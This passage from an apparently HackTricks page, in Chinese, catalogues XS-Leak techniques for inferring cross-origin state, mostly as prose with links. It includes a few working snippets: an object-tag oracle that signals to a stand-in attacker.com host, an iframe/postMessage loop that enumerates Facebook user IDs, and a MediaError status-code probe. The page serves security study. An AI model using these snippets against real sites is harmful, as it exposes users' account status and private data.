XS-Search/XS-Leaks
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
XS-Search 是一种用于通过利用 side channel vulnerabilities 来提取 cross-origin information 的方法。
此攻击涉及的主要组件包括:
- Vulnerable Web:目标网站,攻击者意图从中提取信息。
- Attacker’s Web:攻击者创建的恶意网站,受害者访问后托管 exploit。
- Inclusion Method:将 Vulnerable Web 集成到 Attacker’s Web 的技术(例如 window.open、iframe、fetch、带 href 的 HTML 标签等)。
- Leak Technique:基于通过 Inclusion Method 收集的信息来区分 Vulnerable Web 状态的技术。
- States:Vulnerable Web 的两种可能状态,攻击者试图区分它们。
- Detectable Differences:攻击者用来推断 Vulnerable Web 状态的可观察差异。
可检测差异
可以分析多个方面来区分 Vulnerable Web 的状态:
- Status Code:跨域区分各种 HTTP 响应状态码,例如服务器错误、客户端错误或认证错误。
- API Usage:识别页面间对 Web APIs 的使用,判断跨域页面是否使用特定的 JavaScript Web API。
- Redirects:检测导航到不同页面,不仅包括 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的导航。
- Page Content:观察 HTTP 响应主体或页面子资源的变化,例如嵌入 frame 的数量或图片大小差异。
- HTTP Header:注意特定 HTTP 响应头的存在或可能的值,包括像 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 这样的头。
- Timing:注意两种状态之间的一致时间差异。
包含方法
- HTML Elements:HTML 提供了多种用于 cross-origin 资源包含的元素,例如 stylesheets、images 或 scripts,迫使浏览器请求非 HTML 资源。有关可用于此目的的潜在 HTML 元素的汇总,请参见 https://github.com/cure53/HTTPLeaks。
- Frames:像 iframe、object 和 embed 之类的元素可以将 HTML 资源直接嵌入到攻击者的页面中。如果页面缺少 framing protection,JavaScript 可以通过 contentWindow 属性访问被嵌入资源的 window 对象。
- Pop-ups:
window.open方法在新标签或窗口中打开资源,为 JavaScript 提供一个 window handle,以便在遵循 SOP 的前提下与方法和属性交互。Pop-ups(常见于单点登录)可以规避目标资源的框架和 cookie 限制。不过,现代浏览器将弹出窗口的创建限制为某些用户操作。 - JavaScript Requests:JavaScript 允许使用 XMLHttpRequests 或 Fetch API 直接请求目标资源。这些方法对请求提供精确控制,例如选择是否跟随 HTTP 重定向。
Leak Techniques
- Event Handler:在 XS-Leaks 中的经典 leak 技术,像
onload和onerror这样的事件处理器提供了关于资源加载成功或失败的线索。 - Error Messages:JavaScript 异常或特殊错误页面可以直接从错误消息中泄露信息,或通过其存在与否的差异来提供线索。
- Global Limits:浏览器的物理限制(例如内存容量或其他强制的浏览器限制)可以在达到阈值时发出信号,作为 leak 技术。
- Global State:可检测到的浏览器全局状态交互(例如 History 接口)可以被利用。例如,浏览器历史记录中的条目数量可以提供有关 cross-origin 页面的一些线索。
- Performance API:该 API 提供当前页面的性能细节,包括文档和已加载资源的网络时序,从而能够推断所请求的资源。
- Readable Attributes:一些 HTML 属性是可跨域读取的,可用作 leak 技术。例如,
window.frame.length属性允许 JavaScript 计算网页中包含的 frames 数量(跨域可读)。
XSinator Tool & Paper
XSinator 是一个自动化工具,用于根据其论文中解释的多个已知 XS-Leaks 检查浏览器:https://xsinator.com/paper.pdf
你可以 访问该工具:https://xsinator.com/
Warning
Excluded XS-Leaks:我们不得不排除依赖 service workers 的 XS-Leaks,因为它们会干扰 XSinator 中的其他 leaks。此外,我们选择排除依赖于特定 web 应用错误配置和漏洞的 XS-Leaks。例如,CrossOrigin Resource Sharing (CORS) misconfigurations、postMessage leakage 或 Cross-Site Scripting。此外,我们还排除了基于时间的 XS-Leaks,因为它们通常较慢、噪声大且不准确。
Timing Based techniques
下面的一些技术将在检测网页可能状态差异的过程中使用计时。浏览器中有不同的方法来测量时间。
Clocks:performance.now() API 允许开发者获取高分辨率的时间测量。
攻击者可以滥用大量 API 来创建隐式时钟:Broadcast Channel API、Message Channel API、requestAnimationFrame、setTimeout、CSS animations 等。
更多信息请参见: https://xsleaks.dev/docs/attacks/timing-attacks/clocks。
事件处理技术
Onload/Onerror
- Inclusion Methods:Frames、HTML Elements
- Detectable Difference:Status Code
- 更多信息: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- 摘要:如果尝试加载一个资源,onerror/onload 事件会在资源加载失败/成功时触发,从而可以推断出状态码。
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
代码示例尝试从 JS 加载 scripts objects,但也可以使用其他标签(例如 object、stylesheets、images、audios)。此外,也可以直接注入标签并在标签内声明 onload 和 onerror 事件(而不是通过 JS 注入)。
还有一个无脚本版本的该攻击:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
在这种情况下,如果 example.com/404 未找到,则会加载 attacker.com/?error。
Content-Type/CORB script load oracle
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Header / Content-Type via onload vs onerror (CORB)
- Summary: 如果某个端点在匹配时返回 HTML、在不匹配时返回 JSON,可用
<script src>加载它。HTML 会触发onload;JSON 会被 CORB 阻止并触发onerror,从而提供一个布尔型 oracle,用于在已知范围内暴力枚举诸如__user的标识符。 - Notes: 可用于跨域场景且无需读取响应体;当某个租户 ID 固定时,便于枚举活动账号。
postMessage vs X-Frame-Options deny oracle
- Inclusion Methods: Frames
- Detectable Difference: Header (XFO) + postMessage presence/absence
- Summary: 一些 widgets 在加载后会向父窗口 postMessage。如果用错误的标识符进行 framing,服务器可能返回
X-Frame-Options: deny,阻止渲染,从而不会发出消息。通过将 iframe 的src设置为候选 ID、等待message事件(成功),并把超时/未收到消息视为失败,就能对活动账号进行暴力枚举。 - Minimal snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Related: PostMessage Vulnerabilities
更多关于消息/iframe 陷阱的信息。
Onload Timing
- Inclusion Methods: HTML 元素
- Detectable Difference: 时延(通常由页面内容或状态码引起)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Summary: The performance.now() API 可用于测量执行一次请求所需的时间。然而,也可以使用其他时钟,例如 PerformanceLongTaskTiming API,它可以识别运行超过 50ms 的任务。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events 另一个示例在:
Onload Timing + Forced Heavy Task
此技术与前者类似,但攻击者还会强制某些操作在答案为正或负时花费显著的时间,并测量该时间。
performance.now + Force heavy task
unload/beforeunload Timing
- Inclusion Methods: 帧
- Detectable Difference: 时延(通常由页面内容或状态码引起)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Summary: The SharedArrayBuffer clock 可用于测量执行一次请求所需的时间。也可以使用其他时钟。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
可以利用 unload 和 beforeunload 事件来测量获取资源所花费的时间。beforeunload 事件在浏览器即将导航到新页面时触发,而 unload 事件在导航实际进行时发生。通过计算这两个事件之间的时间差,可以确定浏览器用于获取资源的持续时间。
Sandboxed Frame Timing + onload
- Inclusion Methods: 帧
- Detectable Difference: 时延(通常由页面内容或状态码引起)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Summary: The performance.now() API 可用于测量执行一次请求所需的时间。也可以使用其他时钟。
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
观察到,在缺少 Framing Protections 的情况下,攻击者可以测量页面及其子资源通过网络加载所需的时间。之所以通常可以进行此测量,是因为 iframe 的 onload 处理程序只有在资源加载和 JavaScript 执行完成后才会触发。为了消除脚本执行引入的可变性,攻击者可能在 <iframe> 中使用 sandbox 属性。加入该属性会限制许多功能,特别是 JavaScript 的执行,从而使测量主要受网络性能影响。
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- 包含方法: Frames
- 可检测差异: 页面内容
- 更多信息:
- 摘要: 如果你能在访问正确内容时让页面产生错误,而在访问任意内容时让页面正常加载,那么你可以通过循环提取所有信息而无需测量时间。
- 代码示例:
假设你可以将包含敏感内容的页面插入到一个 Iframe 中。
你可以让受害者搜索包含 “flag” 的文件(例如利用 CSRF),并在 Iframe 中触发搜索。你知道 Iframe 内的 onload event 至少会被执行一次。然后,你可以只是改变 URL 中的 hash 部分来改变 iframe 的 URL。
例如:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
如果第一个 URL 成功加载,当仅改变 URL 的 hash 部分时,onload 事件通常不会再次触发。但如果页面在加载时发生某种错误,那么 onload 事件将会再次触发。
由此,你可以区分页面是正确加载还是访问时发生了错误。
Javascript Execution
- 包含方法: Frames
- 可检测差异: 页面内容
- 更多信息:
- 摘要: 如果页面返回了敏感内容,或者返回了用户可控的内容。用户可以在否定情况下设置有效的 JS 代码,将每次尝试放入
<script>标签中加载,这样在否定情况下攻击者的代码会被执行,而在肯定情况下不会执行任何东西。 - 代码示例:
CORB - Onerror
- 包含方法: HTML Elements
- 可检测差异: Status Code & Headers
- 更多信息: https://xsleaks.dev/docs/attacks/browser-features/corb/
- 摘要: Cross-Origin Read Blocking (CORB) 是一种安全机制,用于阻止网页加载某些敏感的跨源资源以防止诸如 Spectre 的攻击。然而,攻击者可以利用其保护行为。当受 CORB 保护的响应返回带有
nosniff的受保护Content-Type且状态码为2xx时,CORB 会剥离响应的 body 和 headers。观察到这一行为的攻击者可以推断出状态码(表示成功或错误)和Content-Type(表示是否受 CORB 保护)的组合,从而导致潜在的信息泄露。 - 代码示例:
查看上述链接以获取关于该攻击的更多信息。
onblur
- 包含方法: Frames
- 可检测差异: 页面内容
- 更多信息: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- 摘要: 从 id 或 name 属性中泄露敏感数据。
- 代码示例: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
可以在 iframe 中加载一个页面,并使用 #id_value 使页面聚焦到 iframe 中指定 id 的元素,然后如果触发了 onblur 信号,则说明该 ID 元素存在。
你也可以用 portal 标签执行相同的攻击。
postMessage Broadcasts
- 包含方法: Frames, Pop-ups
- 可检测差异: API 使用情况
- 更多信息: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- 摘要: 从 postMessage 收集敏感信息,或将 postMessages 的存在作为 oracle 用以判断页面中用户的状态。
- 代码示例:
Any code listening for all postMessages.
应用通常使用 postMessage broadcasts 在不同 origin 之间通信。然而,如果未正确指定 targetOrigin 参数,这种方法可能会无意间暴露敏感信息,使任何 window 都能接收消息。此外,仅仅接收到消息本身也可作为一个 oracle;例如,某些消息可能仅发送给已登录的用户。因此,这些消息的存在或缺失可以揭示用户的状态或身份,例如他们是否经过认证。
Global Limits Techniques
WebSocket API
- 包含方法: Frames, Pop-ups
- 可检测差异: API 使用情况
- 更多信息: https://xsinator.com/paper.pdf (5.1)
- 摘要: 耗尽 WebSocket 连接限制可以泄露目标页面使用的 WebSocket 连接数。
- 代码示例: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
可以识别目标页面使用了多少个 WebSocket 连接。这允许攻击者检测应用状态并泄露与 WebSocket 连接数量相关的信息。
如果某个 origin 使用了最大数量的 WebSocket 对象(无论其连接状态如何),创建新的对象将导致 JavaScript 异常。要执行此攻击,攻击者网站在 popup 或 iframe 中打开目标网站,然后在目标网站加载后,尝试创建尽可能多的 WebSocket 连接对象。抛出异常的数量即为目标网站窗口使用的 WebSocket 连接数。
Payment API
- 包含方法: Frames, Pop-ups
- 可检测差异: API 使用情况
- 更多信息: https://xsinator.com/paper.pdf (5.1)
- 摘要: 检测 Payment Request,因为同一时间只能有一个处于活动状态。
- 代码示例: https://xsinator.com/testing.html#Payment%20API%20Leak
该 XS-Leak 使攻击者能够检测跨源页面何时发起支付请求。
由于同一时间只能有一个 payment request 处于活动,如果目标网站在使用 Payment Request API,则任何进一步尝试显示该 API 将会失败并导致 JavaScript 异常。攻击者可以通过定期尝试显示 Payment API UI 来利用这一点。如果某次尝试引发异常,说明目标网站当前正在使用它。攻击者可以通过在创建后立即关闭 UI 来隐藏这些定期尝试。
Timing the Event Loop
- 包含方法:
- 可检测差异: 定时(通常由于页面内容、状态码)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- 摘要: 利用单线程的 JS event loop 测量代码执行时间。
- 代码示例:
Event Loop Blocking + Lazy images
JavaScript 采用 single-threaded event loop 并发模型,意味着它一次只能执行一个任务。这一特性可以被利用来估计来自不同 origin 的代码执行需要多长时间。攻击者可以通过持续派发具有固定属性的事件来测量自身代码在事件循环中的执行时间。这些事件将在事件队列为空时被处理。如果其他 origin 也向同一队列派发事件,攻击者可以通过观察自身任务执行的延迟来推断这些外部事件执行所需的时间。监控事件循环延迟的方法可以揭示来自不同 origin 的代码执行时间,从而可能泄露敏感信息。
Warning
在执行计时攻击时,可以消除网络因素以获得更精确的测量。例如,在加载目标页面之前预先加载该页面使用的资源。
Busy Event Loop
- 包含方法:
- 可检测差异: 定时(通常由于页面内容、状态码)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- 摘要: 通过故意阻塞事件循环并计时事件循环再次可用所需的时间来测量某个 web 操作的执行时长。通过在事件循环中插入阻塞操作(如长时间计算或同步 API 调用),并监控后续代码开始执行所需的时间,可以推断在阻塞期间事件循环中执行的任务持续时间。该技术利用了 JavaScript 单线程事件循环的顺序执行特性,能够提供关于与同一线程共享的其他操作的性能或行为的洞见。
- 代码示例:
通过锁定事件循环来测量执行时间的一个显著优势是它可能规避 Site Isolation。Site Isolation 是将不同网站分离到不同进程以防止恶意站点直接访问其他站点敏感数据的安全特性。然而,通过共享事件循环影响另一个 origin 的执行时间,攻击者可以间接提取关于该 origin 活动的信息。该方法并不依赖于直接访问其他 origin 的数据,而是观察该 origin 活动对共享事件循环的影响,从而绕过 Site Isolation 建立的保护屏障。
Warning
在执行计时攻击时,可以消除网络因素以获得更精确的测量。例如,在加载目标页面之前预先加载该页面使用的资源。
Connection Pool
- 包含方法: JavaScript Requests
- 可检测差异: 定时(通常由于页面内容、状态码)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- 摘要: 攻击者可以锁住所有 socket(只留 1 个),同时加载目标网页和另一个页面,直到最后一个页面开始加载的时间即为目标页面的加载时间。
- 代码示例:
浏览器使用 sockets 与服务器通信,但由于操作系统和硬件资源有限,浏览器会对并发 sockets 数量施加限制。攻击者可以通过以下步骤利用该限制:
- 确定浏览器的 socket 限制,例如 256 个全局 sockets。
- 发起 255 个请求到不同主机并保持连接打开,从而长期占用 255 个 sockets。
- 使用第 256 个 socket 向目标页面发送请求。
- 尝试对另一个主机发起第 257 个请求。由于前面的 255 个 sockets 仍在使用(步骤 2),而第 256 个已用于目标页面(步骤 3),第 257 个请求将被排队直到有 socket 可用。该请求被允许继续的延迟为攻击者提供了关于第 256 个 socket(目标页面 socket)网络活动的定时信息。因为步骤 2 的 255 个 sockets 仍在占用,所以任何新可用的 socket 必然来自步骤 3 被释放的那个 socket。第 256 个 socket 可用所需的时间与目标页面请求完成所需的时间直接相关。
更多信息见: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- 包含方法: JavaScript Requests
- 可检测差异: 定时(通常由于页面内容、状态码)
- 更多信息:
- 摘要: 类似于前一技术,但 Google Chrome 对同一 origin 限制为 6 个并发请求。如果我们阻塞 5 个然后发起第 6 个请求,我们可以对其进行计时;如果我们设法让受害页面向同一端点发送更多请求以检测页面状态,第 6 个请求将耗时更长,从而被检测到。
Performance API Techniques
Performance API 提供了关于 web 应用性能指标的洞见,配合 Resource Timing API 更加详细。Resource Timing API 允许监测网络请求的详细计时信息,例如请求持续时间。特别是,当服务器在响应中包含 Timing-Allow-Origin: * 头时,像传输大小和域名解析时间等额外数据将变得可用。
这些数据可以通过 performance.getEntries 或 performance.getEntriesByName 等方法获取,提供关于性能的全面视图。此外,该 API 还可以通过计算来自 performance.now() 的时间戳差值来测量执行时间。然而需要注意的是,对于某些浏览器(如 Chrome),performance.now() 的精度可能限制为毫秒,这会影响计时测量的粒度。
除了计时测量外,Performance API 还可被用于安全相关的推断。例如,在 Chrome 中 performance 对象中页面的存在与否可以指示 X-Frame-Options 的应用情况。具体来说,如果页面由于 X-Frame-Options 被禁止在 frame 中渲染,则该页面不会被记录在 performance 对象中,从而提供了关于页面框架策略的线索。
Error Leak
- 包含方法: Frames, HTML Elements
- 可检测差异: Status Code
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 导致错误的请求不会创建 resource timing 条目。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
可以区分 HTTP 响应状态码,因为导致错误的请求在某些浏览器中不会创建 performance 条目。
Style Reload Error
- 包含方法: HTML Elements
- 可检测差异: Status Code
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 由于浏览器的一个 bug,导致错误的资源会被加载两次。
- 代码示例: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
在之前的技术中还发现了两个案例,浏览器在 GC 中的垃圾回收 bug 导致资源在加载失败时被加载两次。这会在 Performance API 中产生多个条目,从而被检测到。
Request Merging Error
- 包含方法: HTML Elements
- 可检测差异: Status Code
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 导致错误的请求无法被合并。
- 代码示例: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
该技术在上述论文的表格中被提到,但论文中并未给出详细描述。不过,你可以在 https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak 找到检测它的源代码。
Empty Page Leak
- 包含方法: Frames
- 可检测差异: 页面内容
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 空响应不会创建 resource timing 条目。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
攻击者可以检测请求是否产生了空的 HTTP 响应体,因为空页面在某些浏览器中不会创建 performance 条目。
XSS-Auditor Leak
- 包含方法: Frames
- 可检测差异: 页面内容
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 利用 XSS Auditor 在 Security Assertions 中的行为,攻击者可以通过观察在特制 payload 触发 Auditor 过滤时响应的变化来检测特定网页元素。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
在 Security Assertions (SA) 中,XSS Auditor 本用于防止 Cross-Site Scripting (XSS) 攻击,但反而可以被利用来泄露敏感信息。尽管该内置功能已从 Google Chrome (GC) 中移除,但在 SA 中仍然存在。2013 年 Braun 和 Heiderich 展示了 XSS Auditor 可能意外阻止合法脚本导致误报。基于此,研究者开发出技术以提取信息并检测跨源页面上的特定内容,这就是最早由 Terada 报告并由 Heyes 在博客中详细阐述的 XS-Leaks 概念。尽管这些技术针对的是 GC 中的 XSS Auditor,但在 SA 中,被 XSS Auditor 阻止的页面不会在 Performance API 中生成条目,这揭示了仍然可能被利用的泄露途径。
X-Frame Leak
- 包含方法: Frames
- 可检测差异: Header
- 更多信息: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- 摘要: 带有 X-Frame-Options 头的资源不会创建 resource timing 条目。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
如果页面不被允许在 iframe 中渲染,它不会创建 performance 条目。因此,攻击者可以检测响应头 X-Frame-Options。
使用 embed 标签时也会出现相同情况。
Download Detection
- 包含方法: Frames
- 可检测差异: Header
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 因为 ContentDisposition 头导致下载的资源不会在 Performance API 中创建条目。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
类似于上述 XS-Leak,被 ContentDisposition 头触发而下载的资源也不会创建 performance 条目。该技术在所有主流浏览器中均有效。
Redirect Start Leak
- 包含方法: Frames
- 可检测差异: Redirect
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: Resource timing 条目泄露了重定向的开始时间。
- 代码示例: https://xsinator.com/testing.html#Redirect%20Start%20Leak
我们发现了一种 XS-Leak,滥用某些浏览器在跨源请求中记录过多信息的行为。标准规定对跨源资源应将一部分属性置为零,但在 SA 中可以通过查询 Performance API 并检查 redirectStart timing 数据来检测用户是否被目标页面重定向。
Duration Redirect Leak
- 包含方法: Fetch API
- 可检测差异: Redirect
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 当发生重定向时,timing 条目的 duration 为负值。
- 代码示例: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
在 GC 中,导致重定向的请求的 duration 为 负值,因此可以与不会重定向的请求区分开来。
CORP Leak
- 包含方法: Frames
- 可检测差异: Header
- 更多信息: https://xsinator.com/paper.pdf (5.2)
- 摘要: 使用 CORP 保护的资源不会创建 resource timing 条目。
- 代码示例: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
在某些情况下,nextHopProtocol 条目可以被用作泄露技术。在 GC 中,当设置了 CORP 头时,nextHopProtocol 将为空。注意 SA 对于启用 CORP 的资源根本不会创建 performance 条目。
Service Worker
- 包含方法: Frames
- 可检测差异: API 使用情况
- 更多信息: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- 摘要: 检测特定 origin 是否注册了 service worker。
- 代码示例:
Service worker 是运行在某个 origin 的事件驱动脚本上下文,运行在网页后台,可以拦截、修改并 cache resources 以实现离线 web 应用。
如果通过 iframe 访问被 service worker 缓存的资源,该资源将从 service worker cache 中加载。
要检测资源是否从 service worker 缓存加载,可以使用 Performance API。
这也可以通过 Timing 攻击完成(详见论文以获取更多信息)。
Cache
- 包含方法: Fetch API
- 可检测差异: 定时
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- 摘要: 可以检查资源是否被存储在缓存中。
- 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
使用 Performance API 可以检测资源是否来自缓存。
Network Duration
- 包含方法: Fetch API
- 可检测差异: 页面内容
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- 摘要: 可以从
performanceAPI 中获取请求的网络时长。 - 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- 包含方法: HTML Elements (Video, Audio)
- 可检测差异: Status Code
- 更多信息: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- 摘要: 在 Firefox 中可以准确地泄露跨源请求的状态码。
- 代码示例: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
MediaError 接口的 message 属性通过一个不同的字符串唯一地标识成功加载的资源。攻击者可以通过观察该 message 内容来利用此特性,从而推断跨域资源的响应状态。
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: 在 Security Assertions (SA) 中,CORS 错误信息会无意间暴露重定向请求的完整 URL。
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
该技术使攻击者能够通过利用 Webkit 系列浏览器处理 CORS 请求的方式来提取跨域站点重定向的目的地。具体来说,当向目标站点发送一个启用了 CORS 的请求,且该站点会基于用户状态发起重定向,而浏览器随后拒绝该请求时,重定向目标的完整 URL会在错误信息中被泄露。此漏洞不仅暴露了重定向的存在,还泄露了重定向的端点以及其可能包含的任何敏感查询参数。
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: 在 Security Assertions (SA) 中,CORS 错误信息会无意间暴露重定向请求的完整 URL。
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
攻击者可以利用冗长的错误信息来推断跨域响应的大小。这得益于 Subresource Integrity (SRI) 的机制:SRI 使用 integrity 属性来验证通常从 CDN 获取的资源是否被篡改。对于跨域资源,SRI 需要资源启用 CORS;否则不会进行完整性检查。在 Security Assertions (SA) 中,与 CORS error XS-Leak 类似,当带有 integrity 属性的 fetch 请求失败时,错误信息可能被捕获。攻击者可以通过为任何请求的 integrity 属性指定一个伪造的哈希值来刻意触发该错误。在 SA 中,生成的错误信息会无意间泄露所请求资源的内容长度。该信息泄露使攻击者能够辨别响应大小的差异,从而为复杂的 XS-Leak 攻击铺平道路。
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: 如果攻击者站点的 CSP 只允许受害者的网站,当我们访问它但它尝试重定向到不同域时,CSP 会触发可检测的错误。
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak 可以使用 CSP 来检测跨域站点是否被重定向到不同的 origin。此泄露可以检测到重定向,同时还会泄露重定向目标的域名。该攻击的基本思路是:在攻击者站点上允许目标域名。一旦向目标域发起请求,它重定向到一个跨域域名,CSP 会阻止对此的访问并生成一个违规报告作为泄露技术。根据不同浏览器,该报告可能会泄露重定向的目标位置。现代浏览器通常不会显示被重定向到的 URL,但你仍可以检测到发生了跨域重定向。
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: 从缓存中清除该文件。打开目标页面以检查该文件是否存在于缓存中。
- Code Example:
浏览器可能对所有网站使用一个共享的缓存。无论来源如何,都有可能推断目标页面是否请求过某个特定文件。
如果一个页面仅在用户登录时加载某个图片,你可以先使该资源失效(如果之前被缓存,则使其不再缓存,详见更多信息链接),然后执行一个可能会加载该资源的请求,并尝试用一个错误请求(例如使用过长的 referer header)来加载该资源。如果资源加载没有触发任何错误,则说明它是由于被缓存而未重新请求的。
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: 可以使用 iframe 的 CSP 属性探测 CSP header 指令,从而泄露策略细节。
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome (GC) 的一个新特性允许网页通过在 iframe 元素上设置一个属性来提出 Content Security Policy (CSP),并将策略指令随 HTTP 请求一起传送。通常,嵌入的内容必须通过 HTTP header 来授权此操作,否则会显示错误页面。然而,如果该 iframe 已经受某个 CSP 管控,且新提出的策略并不更严格,则页面会正常加载。该机制为攻击者提供了一种通过识别错误页面来检测跨域页面的特定 CSP 指令的途径。尽管该问题曾被标记为已修复,但我们的发现揭示了一种新的泄露技术,可以检测到错误页面,这表明根本问题可能并未完全解决。
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: 用 Cross-Origin Resource Policy (CORP) 保护的资源在从不被允许的来源 fetch 时会抛出错误。
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
CORP header 是一个相对较新的 web 平台安全特性,当设置后会阻止 no-cors 的跨域请求访问该资源。可以检测到该 header 的存在,因为受 CORP 保护的资源在被 fetch 时会抛出错误。
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB 可以让攻击者检测请求中是否存在
nosniffheader。 - Code Example: https://xsinator.com/testing.html#CORB%20Leak
请查看链接以获取有关该攻击的更多信息。
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: 如果 Origin header 被反射到
